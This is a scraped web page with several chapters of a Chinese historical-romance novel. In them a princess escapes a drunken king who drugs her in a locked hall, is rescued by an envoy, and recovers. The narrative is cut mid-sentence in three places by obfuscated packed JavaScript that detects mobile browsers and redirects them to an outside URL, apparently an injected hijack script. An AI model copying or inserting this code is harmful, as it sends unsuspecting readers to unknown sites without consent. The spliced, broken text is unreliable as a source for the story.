连着行了半个月路,颠簸的车架与疯马之事,朝颜已经疲惫不堪,在偏殿与槐夏一同收拾好行囊后,便准备躺下休息,哪知却收到普桑国君的王命。 国君邀华纪众人去鹤扬城外一处离宫参加接风夜宴。 本以为普桑因太后之事不会再办夜宴,却不想此等情形下他们也未失礼数,还专程设宴款待华纪使者与未来太子妃。 见状朝颜便点头接下邀约。 * 时间流逝,暮色苍茫,月上梢头。 朝颜与几位媵妾乘车抵达离宫时,时候已经不早了,太后已逝,举国上下都在奔丧,朝颜特意换下繁琐的嫁衣,穿了一件颜色雅致的朴素长裙,挽了个极其简单的椎髻,带了条素色丝带,丝带随风飘起,将她整个人都衬托得清秀又不失美丽。 宴席设在鹤扬城数十里开外的平原湖泊边上,是座极其宏伟的离宫,高台足足有十丈高。光是登上高台,便要休息三次。 传言这是衡煜登位后,召集百工,流亡无地的百姓与奴隶一齐为他修建的专供玩乐的地方。 除此之外,朝颜先前更是听闻此宫设有层台、大大小小十个殿堂、数百间寝室、更有几个普桑国极为重要的府库和武器库、主街上的作坊、与湖边临近岸边修建的码头。 朝颜前世嫁到普桑后便一直身居鹤扬城的王宫,并未去过章华台,只是在众人口中听说过。衡无倡很不喜他父王留下的这座高台,便叫人将其封闭圈为禁地,不许任何人出入。 今日也算是借了衡煜的光,正好见识一下中原第一台的宏伟之处。 直至朝颜登台时三步一歇息,抬眸望见面前还有很远的石阶,她才真正明白传言不是空穴来风,一切都未曾夸大其词,甚至眼前所见贝阙珠宫比旁人口中有过之而无不及。 朝颜与媵妾姐妹们气喘吁吁登上高台,刚喘了口气,便被守着的侍人引到众人聚集的天王殿,穿过亭台柱廊,风亭水榭,天色渐晚,一路上可见阑珊灯火与隐在暗处的石山流水,一副山水画就这样映在模糊的夜里,倒是别有一番滋味。 华纪有个不成文的规矩,便是未嫁女不得在外男面前露出真容,朝颜便领着一众媵妾带着遮面,跟着侍人一同徐徐而行,不到半刻便赶到离宫正殿。 她们十分有序地迈入殿门,众人打量的目光在她们进门时便很有默契地扫了过来。 朝颜行至一半才发现娄卿旻等人早早到了,此刻已入座。 二人相视一眼,眸中含着浅笑,盯着男子深似旋涡的眸光看了几眼,朝颜原本躁动不安的心逐渐稳了下来。 “你便是华纪嫡公主,朝颜?” 刚走到大殿中央行过礼,便听到高台上男人略带威严的雄厚嗓音,朝颜听后垂首,清淡的嗓音像是玉石敲地般脆生生的,透过大殿传入每个人耳中:“是,国君。” 高台上的男人一袭宽袍大袖,玄黄相间,坐姿极其霸气。 他勾勾唇,向朝颜身后几位媵妾身上一一看过去,虽看不清容貌,但气质却是一眼便能感知到。 衡煜黝黑的瞳孔落到朝颜身后气质颇为出众的陈诗身上,疑惑问:“身后这位白裙女子是?” “回国君,这位是我华纪护国大将军陈营的独女。父母已不在人世,外臣念在她孤苦伶仃一人无依无靠,便带她一同来普桑见见大国的繁盛。” 没人不喜欢听好听的话,衡煜亦是。 话毕,衡煜登时喜笑颜开,后忍不住点头夸赞:“不错不错,华纪国君果然教导了一个好公主!” 而后重重拍手,对大殿其余人道:“你们华纪盛出美人亦是名不虚传啊,瞧瞧这几位,不见容貌,从身姿与气质上也能看出是个不可多得的美人,如此看来我儿倒显得配不上公主殿下了!” 朝颜应和着:“国君谬赞,见国君如此器宇轩昂,想必太子殿下也气度不凡。” 她此话不掺半点假,毕竟她见过衡无倡那俊美邪气的模样,总归一个爹,爹又是爱美色之人,想必衡宿也不会差到哪里。 衡煜盯着朝颜满目赞赏,而后又对台下的女子众人上下打量一番,视线定格在她们腰间,忽然开口:“美则美,美中却有一丝不足。” 衡煜喜爱女子将专属女子的特性全部摆在明面上,譬如要求举国上下适龄女子全部身着勾勒出细细腰身的衣物,更要用细长的璎珞链围成一圈,更显妖娆身姿。 看见她们身穿华纪宽大的裙袍,便觉得众女姿色被浪费了。 他正襟危坐,轻轻启唇,隐喻地说:“既入了我普桑,日后便要尽快熟悉我们国家的风俗习惯,亦要遵循普桑国的规矩,穿普桑的衣物。” “回国君,此事不宜操之过急,外臣毕竟是刚入王城,待了解了普桑风俗规矩后,不太过分的,外臣等可以接受并试着遵守。” 虽说初来乍到要给足国君面子,但朝颜好歹也是大国公主,气势方面自是不能输得彻底,还是需要提前立威。 衡煜听完此话后不禁挑眉,嗤笑着:“倒是个有个性的。” 与衡泱泱信中所言有些相似,确实应谨慎对待。 寒暄的话说完,衡煜安置好各个女眷的座位,刚想唤人开宴,他想起什么打量四周一番,没找到想见之人,登时起了怒意。 他眉眼瞥向身侧阉人,语气凌厉:“太子现在何处?” 阉人急速小跑到他身侧,弯腰低头,瑟缩着禀报:“殿下在赶来的路上,就快要到了。”说完还擦了擦额上淌下来的汗。 又等了一刻,就在衡煜不耐烦之时,侍人才禀报太子来了。 与其余国人一样,少年身着一袭暗黄色深衣长袍,头戴一顶墨色玄冠,腰间系着丝织纯白革带勾勒出修长的身形,气喘吁吁地迈进殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今日好歹也是国宴,他不在,周围也无人道出这个疑问,好似一切都是寻常。 朝颜忍不住好奇,日后高高在上的王,如今却不被人重视,他到底是经受了多少磨难才爬上那个位置的? 但好奇归好奇,若衡无倡敢对她不利,她自是不会怜惜他。 …… 宴会结束后,朝颜便没有旁的事便主动告辞回去。 来送亲的使者不能待太久,娄卿旻便想着法子找借口说奉国君之命,亲眼看过公主拜堂后才会离开,顺便与白率先生商讨盟约之事这才又拖了几日。 粮种在公主启程来普桑之日便已如约被运送到华纪,国君朝穆亦是暗地派人将种子送至稷粮城,粮食的问题解决了大半。 两国彼此各有所图谋,如今都得到了自己想要的,盟约就此达成。 自那日朝颜在和亲之路差点遇险,娄卿旻便又从不远的燕国调了几位精兵暗卫埋伏在隐秘之处。羽堇亦是寸步不离地跟着朝颜,生怕那样危险之事再次发生。 朝颜疑惑的是,自打入了普桑,衡无倡也未再次出现过。 反观太子衡宿,在晚宴上远远见过她一面后,便日思夜想,仿佛爱得一发不可收拾。 整日除去上朝觐见便是来东宫旁边的偏殿寻朝颜,见她一面,为的就是与她多说几句话。 可惜朝颜心思不在衡宿身上,一心安排羽堇调查迎亲日疯马之事,故而每次都是草草相谈几句便以身子不适为由,将人赶走了。 自古以来得不到的永远都是最好的,朝颜越拒绝衡宿,衡宿便越乐在其中,日复一日,越挫越勇,日日来此邀约,日日不落下,美其名曰培养感情。 不知不觉过去三日。 这日午时,朝颜被衡煜一道王命请去章华台商议嫁娶之事。 72. 夺妻之争(二) 午时三刻,用过午膳后,朝颜受王命去高塘宫见了衡煜。 出殿门时正好碰见住在偏殿的陈诗,坐在屋檐窗棂处练琴。 美人纤细白皙的手指修长,落在琴弦上,根根分明。 指尖琴弦每动一下,娓娓动听的曲子便流出殿门,传入耳中。 天空一道闷雷隐隐作怪,而后周身温度下降,远处渐起一层薄雾,婉转悠扬的琴音与孜孜不倦弹奏琴弦的美人,在这场雾气的衬托下,逐渐转成一幅缥缈悠扬的山水画。 朝颜看着这幅画不禁出了神。 先前那般颓废之人如今也渐渐走出伤痛,恢复了精气神,她发自内心为陈诗高兴。 但每每想到她原本也会有属于自己的幸福人生,却因为一个恶人,日后要被困在宫墙与深宅之内等待嫁人,朝颜便觉得她很可惜,她做错了选择。 她二人皆知,作为媵妾,结局不是随她一起嫁给太子共侍一夫,便是嫁给其他世家子弟或王上为妾为侧。 这个结局于陈诗来说其实是不公平的。 可若让陈诗独自离开,朝颜也害怕无人庇佑她,旧事重现。 而待在她身边她唯一能保证的是,陈诗在她身边一日,她便会尽力保护陈诗不受人欺凌。 天空又闪过一道闷雷,打断朝颜的思虑,随后她便在侍人的引路下踏出殿门。 抬眸望天,阴霾骤起,天色暗沉,不是好天气,衡煜找她应是让她挑选吉时。 她虽不在意虚礼,但好歹与她后半生有关,还是要亲自去一趟的,最好赶在落雨前回来。 今日辰时起身便吩咐槐夏去宫外带些吃食,想必她回来时槐夏应该也会回宫,思及此她扯着唇笑了笑,已经迫不及待想尝尝普桑国的特色小食了。 这方一曲毕,陈诗正要起身歇息,哪知一抬眸便见朝颜跟着普桑国君衡煜的宫人离去,她心中生疑,就这样默默目送朝颜纤瘦的背影消失在殿门拐角处。 * 普桑地处潮湿,也就前几日她刚到普桑时是大晴天,眼下灰蒙蒙的阴天带着些许压抑感,朝颜跟在宫人后面,扑面而来的是由朝露带来的寒气,宫内小径边种植的林木颇多,一到阴云蔽日时,便会涌上一股泥土湿润气息,从那方路过,鼻尖都充斥着海棠花的淡香气。 乌云密布,移至头顶,压抑感迎面而来,想起方才的闷雷,朝颜便知快要下雨。 衡煜平日所居宫殿名为高塘宫,是前世朝颜与衡无倡一同住过的寝殿,对于此处她是最熟悉不过了。不过她还是装作不熟悉的模样,跟着宫人的步伐前行。 不一会儿便赶到殿门前,鎏金门匾山‘高塘宫’三个大字是那样端正、那样眼熟。 迈进宏伟的殿门,二人一同穿过长廊走到宫殿的偏殿。朝颜此时心中已经渐渐有了疑问。既是面见国君,想来应是在正殿约见,再不济也该在书阁,宫人怎会带她去往偏殿的方向? “你这是带我去哪里?”朝颜停住脚步,撩起遮面的一角,冰冷眼神的盯着宫人,厉声追问。 宫人只是见到容颜一侧便被惊地愣在原地,反应过来后淡淡笑了一下,低头回道:“殿下,王上今日在偏殿批阅奏书,所以我们要去偏殿。” 见宫人如此坦荡,朝颜倒觉得自己有些无事生非。 随后又跟着宫人继续前行。 抵达偏殿门口,宫人弯腰低头做请的姿势示意朝颜进去,朝颜迟疑瞥了宫人一眼,慢慢抬起脚步踏进门。 进门未见到人影,她试探前行,不料行至中间便闻到殿内蔓延着一股浓郁的酒气,十分刺鼻。 “公主今日这身装扮倒是入乡随俗了,比华纪的衣物更能衬托出殿下的无双容颜。”衡煜的声音蓦地出现,朝颜寻未果,转眼寻一圈才在大殿拐角的长柱后发现他的踪迹。 朝颜目光瞥见桌案上的酒坛,心下了然。而后寻着男人的身影而去,便见他步伐摇晃,身子东倒西歪地向她的方向走来。 如此半梦半醒的状态,不难猜出此人已经喝得酩酊大醉,神志不清。再加上方才那句口齿不太清晰的话语,朝颜便验证了眼前人醉了。 朝颜登时打起戒备之心。 鼻尖飘过一丝淡淡的怪异气息,她喘息间不觉地吸入许多。 她觉得奇怪,皱着眉迅速后退,想推门离开才发现殿门在不知何时已经被人从殿外反锁了,无论怎么推都推不开。 想起方才那宫人请她进来时那阴暗的目光,朝颜心道一声糟糕! 这本就是宫人与衡煜故意设计的,故意唤她来此处说商讨婚嫁之事,实则是想让她与国君共处一室,孤男寡女,届时她有嘴也说不清了。 衡煜笑眯眯地盯着后退的朝颜,眉间闪过一丝志在必得。 其实早在初见朝颜那日,他便起了色心。 再加上衡泱泱来信说要‘好好照顾’朝颜,他便更加按奈不住内心那颗燥热的心。本计划待她嫁给太子后他便立威惩治她,可自从他在章华台见到朝颜,听过她的一言一行后,他突然便反悔了。 比起惩治儿媳,他倒宁愿让此等有美貌又有胆识的女子做他的人。 前半生一直征战沙场,讨伐恶人,终于坐上高位,将前朝长公主,也就是自己的表妹衡宜珖抢占为王后以后,他野心已经越来越大了,十年如一日,平静如死水的日子他早已经过够了。 直到见到朝颜,他的心被她三言两语撩拨后,情绪有了丝丝波动,他逐渐又不满足于此了。 他觉得此女甚是有趣,也有个性,最关键的是,她不服管教。 巧了,他最大的强项便是驯服烈马,所以他故意让人将其骗至宫殿。 若今日生米煮成熟饭,得到她的人,日后驯服她的心也不远了。 尤其是盯着朝颜今日身上所穿普桑国的修身衣物后,他便知朝颜还是胆怯的,嘴上再厉害也耐不住心中屈服于他的威严之下。 得到此种臣服般的信号,他更加肆无忌惮,跑上去一把抓住她发顶的遮面,将其拽下扔至地面,几颗琉璃珠登时散落满地。 见了美人真容,他愈发心痒痒,不想太过强硬伤到美人,他假装柔情,声音放低哄骗道:“公主如此美貌,一言一行的野心也不容小觑,不如,做孤的王妃与孤一同做这天下之主可好?” 男人边说话边摇晃着身子,一步步朝自己扑来,朝颜见了男人丑恶的嘴脸,刹时心中作呕,迅速将袖中匕首顶在面前,其实她在这半刻想出无数种将其千刀万剐的法子,但碍于大局又不能真的杀了他。 更何况她那三脚猫的武功也未必能在衡煜那讨到好处。 看着衡煜愈发近的身影,朝颜举起那柄短剑,锋利的剑刃直直朝着衡煜的鼻尖指去,“烦请国君自重!” 利刃寒光打在衡煜面上,及时制止了他前进的步子。 朝颜鼓起勇气,拿出与自己全部的胆子,冷眸严厉瞪着他,怒道:“本殿乃两国签订盟约之人亲定的太子妃,国君此等流氓行为怕是不妥!” 谁知衡煜听后非但不忌惮,反而更激动了:“不过是由太子妃改成王妃,几个字而已,都是妃位,嫁与孤这个国君,一人之下万人之上,难道还比不上一个太子的妻子?” 况且他二人只是见过几面而已,衡煜不觉得朝颜就爱上了自己那蠢货太子。 朝颜不在乎国君还是储君,她只是不喜欢这种违背常理之事,她还在试图唤醒衡煜的理智:“国君是要毁了你我二国之间的盟约吗?” 男人闻言,心间起火,将衣袍一撩,抬臂指着朝颜,怒目圆睁,“你这女子,别不识好歹!” 他说这话时,原本俊朗的面也逐渐变得邪恶起来,像极了一个发了疯的禽兽。 脑子逐渐传出阵阵眩晕,朝颜抬手扶额,心下一惊,才意识到方才那缕香气是一种药! 真卑鄙! 头脑不清晰,朝颜眼神逐渐泛起一层薄雾,她一手敲打着额头,一手挥舞着匕首恐吓衡煜,放声喊道:“你若再敢靠近一步,我真的会杀了你!” “你敢么?你不敢!” “你若敢动手,我明日便向华纪开战!” 大不了两败俱伤,也正好拿朝穆那厮出出气。若非那年自己长时间征战未歇息过来,在一次大雨中恰好中了风寒,他早已将华纪那块风水宝地一齐夷为平地,又哪里会有如今朝颜的出现? “卑鄙、无耻、下流至极!” 朝颜忍不住咒骂:“好歹是一国之君,受人敬仰,背地竟做此等流氓之事,你对得起千千万万拥护你为王的百姓么?” 闻言衡煜忍不住冷笑一声。 百姓?百姓算什么? 他们只是他上位的垫脚石,他们辱骂或是看不起他,暗处踩他或是如何做,他根本不会在意。他只会觉得妇人之仁,思虑太重,太过在意百姓的心思,必定难成大事。 劝说无果,用匕首抵抗也不是长久之计。 朝颜已经明显感觉出自己与方才刚来时不一样了,浑身软弱无力,想必是药效开始发作了。 大门紧闭,四周窗棂被彻底封死,大殿除了寝殿便没别的地界,眼下她无处可逃,但她又不能杀了此人,实在是难办。 她忽然灵机一动,想起前世与衡无倡玩乐时,二人曾在高塘宫发现的一条密道,可直通城门外。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405658|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >据说密道乃是历代君王建下以便危急时刻启用的最后的自救之路。 可她又想,若真从密道逃出去了,要如何与普桑国人解释这一切? 她一边想一边往密道那处跑,衡煜紧紧跟在她身后。 她踌躇不定,不知如何抉择。 就在她迟疑的瞬间,殿外一阵嘈杂,紧接着身后传出嘭的一声巨响! 朝颜转过身,便见那扇高大雄伟的红檀木殿门被人踹开,门板应声倒地,荡出一阵细密的灰尘浮土。 微光从被破开的殿门处透进来,影影绰绰中,朝颜顺着明光看去。 来人一袭纯白色宽袍,腰间系着金银错带钩玉石,他就这样踏着倒下的门板一步步走了进来。 那瞬间,朝颜似是见到了天神下凡。 是他来了。 娄卿旻。 心中紧绷的弦松了下来,她对着来人勾勾唇角扯出一丝无奈又惹人心疼的笑,而后东倒西歪地移步到他那边去。 娄卿旻脚步快她一步,正大光明地将人护在身后,此刻的朝颜宛若一只受伤的小鸟,急需人保护。 殿外不知何时已经下起了濛濛细雨,阴冷的风窜进殿内,几人的衣袍在凉风下猎猎作响。 “国君这是要做什么?”娄卿旻直视衡煜,话语带着严厉的逼问。 “想不到一国之君也会做如此下三滥之事,还真是让外臣开了眼界!” 衡煜半眯着眼,准备打死不认,淡漠解释道:“只是请朝颜公主来商讨婚约之事而已,不知娄大人此言何意?” “国君不知男女有别,孤男寡女不能共处一室的规矩么?”娄卿旻一手护着身后之人,嘴上得理不饶人:“我大国公主的清白乃国之颜面,岂能容人随意玷污、践踏?” “若再有下次,纵使殿下能原谅你,本官与太子殿下也不会坐以待毙!届时两国的盟约也尽数作废!” 衡煜不知何时已经坐回高台上,想来是觉得被人羞辱,而后怒拍案道:“娄卿旻!你不要以为你名声在外孤就会任由你随意说教!你就不怕孤一怒之下断了你们的粮食!” 讲理不成,转而开始威胁。 哪知娄卿旻不甚在意,琉璃色的眸子淡淡盯着高台上的男人,面上无任何表情,语气十分强硬:“若国君想为天下人所耻笑,尽管做吧!” “若想试试我华纪近在咫尺的几万大军是否是吃素的,国君尽管继续肆意妄为!” 听到此话衡煜的脸皮仿佛被压在地上摩擦,他登时红了眼,面颊也已红透,嘶吼道:“娄卿旻!你放肆!来人!将他抓起来关进大牢!” 殿外诸多侍卫闻声而来,不过片刻便将人围住。 朝颜有些胆战心惊,娄卿旻冷冷盯着四周侍卫看了一圈,而后径直揽着快要昏厥的朝颜,顶着刀剑的利刃处,不畏不惧地抬步,慢慢向殿门口走去。 毕竟是大国使臣与嫡公主,众侍卫围着他二人的动作也很迟钝,不敢真的将人抓起来,便只能任由娄卿旻一步步走出殿门。 衡煜气急败坏,盯着男人离去的背影,放言威胁道:“你二人如此出去就不怕孤昭告国人你二人的通奸之罪?” “国君随意!若你想被普桑百姓知晓你为老不尊,觊觎自己儿子的未婚妻,臣就算污了自己的名声,也会奉陪到底!” 行至殿外,娄卿旻停住脚步,阴沉着脸开口对急冲冲跑进来的女人说:“管好你们的王。”随后便踏步离开。 话毕,只见一身着宫装的女子踩着殿门进去,跑到高台上一把抱住神志不清的衡煜,嗓子撕裂般吼着:“王上!王上!” “王上这是在做什么?您怕不是糊涂了!” 后指着大殿的侍卫道:“你们都快下去!王上只是在气头上,并不是动真格!” 王后发话,众人犹豫了一番还是退下。 衡宜珖双手揽着衡煜,想到方才见二人离去的模样,猜到什么,眉眼尽是担忧,劝说道:“朝颜好歹是华纪嫡公主,怎可受此屈辱?若传出去,污了名声不说,惹恼了华纪,我们免不了一场大战!” 毕竟华纪鼎鼎有名的战神太子不是吃素的,虽再加上娄卿旻这样的军师在,普桑怕是也吃不到什么好果子。虽说衡煜年轻时也是战神将军,可如今毕竟年事已高,久久不经沙场,定会比这些年轻人弱一些。 而如今这样的太平之年,若再起战乱,苦得不仅仅是黎民百姓,还有她们。 思及此衡宜珖一脸娇媚,轻轻拍着衡煜的肩膀,安慰着他:“暂且忍忍吧王上?待泱泱妹妹将朝穆的把柄抓到手,我们就里应外合将华纪一举拿下,届时王上想要什么都会有的……” 73. 夺妻之争(三) 下了急雨,天气潮湿阴冷,娄卿旻今日专程穿了件披风保暖,怕朝颜受凉,特意脱下来慢慢披在她身上,随后二人坐上羽堇姗姗来迟的马车出了宫,往城中驿站赶去。 闷雷闪电之下,大雨来得猛又急,不过刚出了王宫,天公变脸似得,原本瓢泼猛烈的大雨忽然转成蒙蒙细雨,天边的乌云也逐渐向远处散开,天色渐明。 车架之内,朝颜主动拉开与娄卿旻的距离,环抱着手臂靠在车厢最边上,像个受极了委屈的孩童般,小心翼翼垂眸缩成一团。 脑袋传出一阵刺痛,朝颜轻轻摇着头,意识半混不清,也不忘用力扯着披风,出言感谢娄卿旻:“多亏有大人在,若不然我今日定无法逃脱。” “殿下还是不够谨慎。” “此等邀约怎可一人来赴?”娄卿旻看她如此可怜的模样,语气十分心疼,但又控制不住带着一层薄薄的责备。 是啊,朝颜也有些后悔。 今日她确实有些掉以轻心,在她心里起初也未将衡煜当作坏人。 哪里知道他竟对她藏着那等龌龊心思,若知晓,她必然不会独自前来。 想到衡煜方才的眼神与那日在稷粮城关奚拉住她时的神情如出一辙,她腹中忍不住泛起苦水,恶心极了。 燕国的连瑕、稷粮城的关奂,华纪的陈诗与身处普桑的她。 她们不约而同地都经历过被男子纠缠的阴暗之事。 就因为她们在旁人眼中是手无缚鸡之力的女子,是弱者,是会被人随意摆弄的木头人,所以会被觊觎、被欺负。 可这到底是为什么呢? 难道这个世上便不能让女子拥有一处属于自己的僻静之地,就不能少些磨难少些区别对待么? 甚至她所见的也只有女子被当作物品买卖交换,不能有选择的权利,莫要说自由。 药物起了作用,她头脑模糊又清醒,后知后觉,自己仿佛错得一塌糊涂。 或许她更该问的是,这世上的坏人为何不能少一些,或者说,不要有坏人恶人的存在? 凭什么受伤的总是女子? 凭什么受伤后她会想女子美貌是原罪,而不是去想男子为何要有这样的心里这样的行为? 简直荒谬,简直无缘由! 她们生活的这个时代太糟糕了,女子受到的恶意从始至终都比男子多。 无子便是不孝,露面便是不贞,改嫁便是不忠。 而男子却可轻而易举得到女子做梦都想求得的东西,实在太不公平。 公平,公平。 不偏不倚,公正平等。 可这世上仿佛没有绝对的公平。 难道真的只有登上高位,将权利掌握在自己手中,她们才能得到一丝平等的对待,将这些不合理的规矩与不善意的眼光全部破除改变么? 若真是如此,她一定要努力帮众人改变这个时代对女子的偏见与恶意揣度,还女子一个太平公正、安全不受伤害的世界! 她思虑极深,注意力全在心底,眸中所见景象已经乱作一团。 就在这时,车舆路过一条崎岖不平的小路,上下颠簸了一阵,朝颜的身子随着不稳的车厢,被撞得左右晃动。 就在她快要面朝地板扑到脚下时,娄卿旻眼疾手快一把拉住她的手臂将她重新扯回软垫上。 将人安置好后他没放手,依旧紧紧抓着那道柔软的手腕,神情严肃,轻启薄唇: “殿下日后还须更加谨慎,对除殿下亲近之外的人都要有防备。此后但凡出门都要带羽堇一同去,让他保护你的安危。公主应知晓,他之所以被太子殿下留在您身边,最大的用处便是保护你,若他再失职一次,臣会考虑将他撤走。” 话毕,朝颜登时清醒了一瞬,睁大眼眸。 撤走?那怎么行? 那可是兄长给她留下的人。 见朝颜面上有一丝反驳之意,娄卿旻语气骤然变得冷漠:“失职的人不配继续待在殿下身边,不论是谁。” 这已经不是第一次,需要羽堇时他不在身边。以往他在外探查,便不追究,可如今他的任务已被娄卿旻尽数安排到暮商身上,他便应全权负责殿下的安危,又怎能屡次在殿下需要他时不在? 毕竟自己不是时时刻刻都会像今日般来得及时,待不日她嫁人后,他便会离开普桑。 但往后还有很长的路,只有她一人走,所以羽堇必须做她的护盾,时刻护她周全。 朝颜身子不舒服,头脑却始终保持着一丝理智,还不忘替羽堇开脱,转移话题:“羽堇也是被我安排在宫外探查的,此次怪不得他。看在我这么惨的份上,大人可不可以少说几句话?” 话毕,车厢内一阵寂静,只剩二人浅薄的呼吸声。 “殿下现下感觉如何?”他又关心问道。 朝颜已经憋得额上冒汗,说话也是断断续续:“浑身发热,头不舒服,口也渴。” 言罢朝颜便抬起手臂对着自己的脸不停扇风,试图驱除热气,只是动作太大,衣襟被她弄乱了些许。 白嫩的手腕已经露出半截,如瓷般滋润,白得发亮,娄卿旻在混乱中瞥了一眼便迅速转过头不看她。 可再如何逃避也耐不住朝颜主动伸手拉他。 纤瘦的手臂攀上宽厚的大掌,是冰冷与火热的碰撞,娄卿旻眼底划过一丝隐晦不明的情愫,嗓间带着一丝沉吟,低声安抚:“殿下再坚持片刻,马上便到。” “好。” 话毕,娄卿旻掀开布帘看着外面驾马的羽堇,眸中露出几分催促。 见少年已经被雨淋成了落汤鸡,娄卿旻也并未让其进来避雨,而是继续让其飞速驾马驱车。 也算是间接对他保护殿下不利的惩罚。 三人赶到城中驿站时,雨已经停了。 娄卿旻将少女整个人裹在披风里,拦腰抱下车,进了厢房将人轻放在榻上时,暮商已经很有眼色地唤附近最近医馆的医者来为朝颜救治。 好在中药不深,来得及时,医者帮其针灸后她额上的汗便散去,一下陷入了昏睡,随即又开了几贴口服的药让人醒后喝下,不日便会好。 娄卿旻虽是对羽堇有怨,但他也不至于故意害羽堇生病,故而也让医者帮他开了些药,便让其去沐浴更衣。 折腾一番后已是傍晚时刻。 朝颜还在昏睡中,陈诗也带着担心的槐夏着急忙慌地赶到驿站,见人无大碍才渐渐放下心。 好在陈诗今日足够机灵,在朝颜被人带走后便马不停蹄让槐夏来搬救兵,不然将会酿成大祸。 * 寂静的夜,明月高挂,鹤扬城东一处质朴的府宅里。 男子先是用帕子洁了一番带着血腥味的手指,而后自顾自地脱下贴身的夜行衣,换上自己平日穿的常服玄袍,径直站在烛火前缓缓打开自己不久前从太子东宫取来的东西。 是一幅画卷。 他缓缓打开,定睛一看,上面竟画着一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但主子说的话便是命令,容不得违抗追问,无条件臣服便是最好的。 见主子不远处桌案上放着换下的夜行衣与他方才认真擦剑的动作,便知他又去报复衡宿了。 在心中,主子便是最重要最值得忠心的人。 纵使知晓衡无倡杀了人,卫介也不会可怜那些人,因为他们都该死。 或许说,他们早就该去黄泉路上赎罪了。 …… 夜深,男人骤然从梦中惊醒,双手挣扎去摸枕头底下冰冷的武器,狭长的眉眼充斥着危险的气息,见周围一片漆黑,他冷静下来,回想自己方才梦中经历的事。 他甚至还能清晰记得梦里那名女子纤瘦单薄的背影,随风翩翩飞舞的蓝色曲裾像是蝴蝶般笼罩在她身上,只是眨眼的瞬间,原本灵动的人就那样孤零零地倒在血泊里,失了气息。 虽未看清那女子的脸,他也能感觉出对方身上散发的忧郁气息,那样惹人怜惜。 只是他不解,自己为何会做这样光怪陆离的梦? 那女子又是何人?为何会出现在他的梦里? 她又为何会死得那样悲惨?她究竟经历了什么? 为何自己见到她死去会流泪,她与他到底是什么关系? 诸多疑问涌上心间,颅内传出一丝要人命的疼,衡无倡半阖眸子,不再去想梦中人。 74. 夺妻之争(四) 朝颜服药后昏迷了一整夜,娄卿旻心中担忧散不去,便也不眠不休坐在床榻边燃着烛火陪了她整夜。 天还不亮,槐夏早早起来便去寻朝颜,帮她捏了捏衾被。转眼瞥见榻边男人眼底一片淡淡的青色,她小心翼翼地开口:“大人要不去歇歇,想必殿下也不会如此快醒来。” 话毕,娄卿旻先是沉默,后又抬眸看着槐夏,语气带着一层淡淡的威严: “我昨夜在殿下房内的事半个字都不可传出去。” 槐夏有些怵他,但知晓娄卿旻思虑周全,不让她说也是怕玷污了自家公主待嫁的名声,连连点头应道:“是。” 朝颜是在辰时天光大亮时才苏醒,紧接着槐夏便端来一碗散着草药苦味的东西,朝颜皱眉喝下,少食了些粥又继续躺在榻上修养。 这一养便是三日。 经那日娄卿旻与衡煜在高塘宫大对峙之后,对方似是幡然醒悟,再也没有找过朝颜的麻烦。 朝颜不愿与王宫之人过多打交道便也自顾自地派华纪侍卫们将她带来的行囊一齐从东宫偏殿搬出来,搬到城中驿馆里。 太子一如既往来寻她数次,都被她以一句大婚前不能相见的习俗给婉拒了。好在太子头脑单纯,无甚心机,满心都是急迫想要娶朝颜为妻一事,故而对朝颜是有求必应有话必答,从不逾矩。 自那以后便很久不来寻朝颜,只是日日派宫人传话,并送来许多奇珍异宝讨她欢心。 盯着厢房内越摞越高的妆匣,朝颜心中对衡宿有几分愧疚。 她知晓自己无法从心底将衡宿当作夫婿,更无法履行作为旁人妻子的职责。她甚至计划好在大婚当日与他说清楚,二人只扮做假夫妻,待日后他寻到更爱之人她便主动腾出太子妃之位。 但见衡宿这些时日送来的珠宝,便猜出他是发自真心喜欢自己。 可她完全不喜欢他,又怎能骗他。 或许某种程度来说,若未生在乱世王族中,身边没有许多勾心斗角之争,衡宿这样单纯无邪的人也是比较适合做夫婿的。 只可惜,他们都生在杀人不眨眼的乱世中,万事都不可行差踏错,否则便会摔个粉身碎骨。 朝颜想到衡宿那有些单纯诚挚的愚蠢模样,想到前世他的结局,心里止不住为他叹息。 纤细的手指用力捏了捏衣角,心中下了决心。 日后嫁与他为妻,若他出了任何事,她定是要做支撑他的后盾,帮他出谋划策的。 前提是华纪与普桑两国敌对的局面不要再次发生,毕竟她不能弃母国于不顾。 除此之外,还要提防那个人。 想到那日普桑车队在边境迎亲时,男人面具下那道充满深意的眼神,朝颜眉眼一暗,禁不住打了个冷颤。她了解衡无倡睚眦必报的性子,前世他登位后杀的第一个人便是衡宿,那便证明他早有预谋。 朝颜心中总有一抹奇怪的预感,衡无倡那日之所以会出现在车队,绝不是什么巧合。她甚至怀疑疯马之事也是他的手笔,只可惜羽堇还未找到证据,她便只能暂时作罢。 她心里同时又希望那日遇险之事不是他所为,毕竟危急时刻他确实救下了她。 朝颜默默呼出一口气,半躺在榻上,盯着床幔神游。 但愿这一世衡无倡不要作恶,她便与他桥归桥路归路,两不相干。 反之,她也会新仇旧怨一起报。 * 这日,朝颜在房中休憩,收到羽堇带来的燕国来信。 信中言明连瑕将酒肆打理得十分妥帖,生意愈来愈好,姜宣同时不时也会去帮忙。 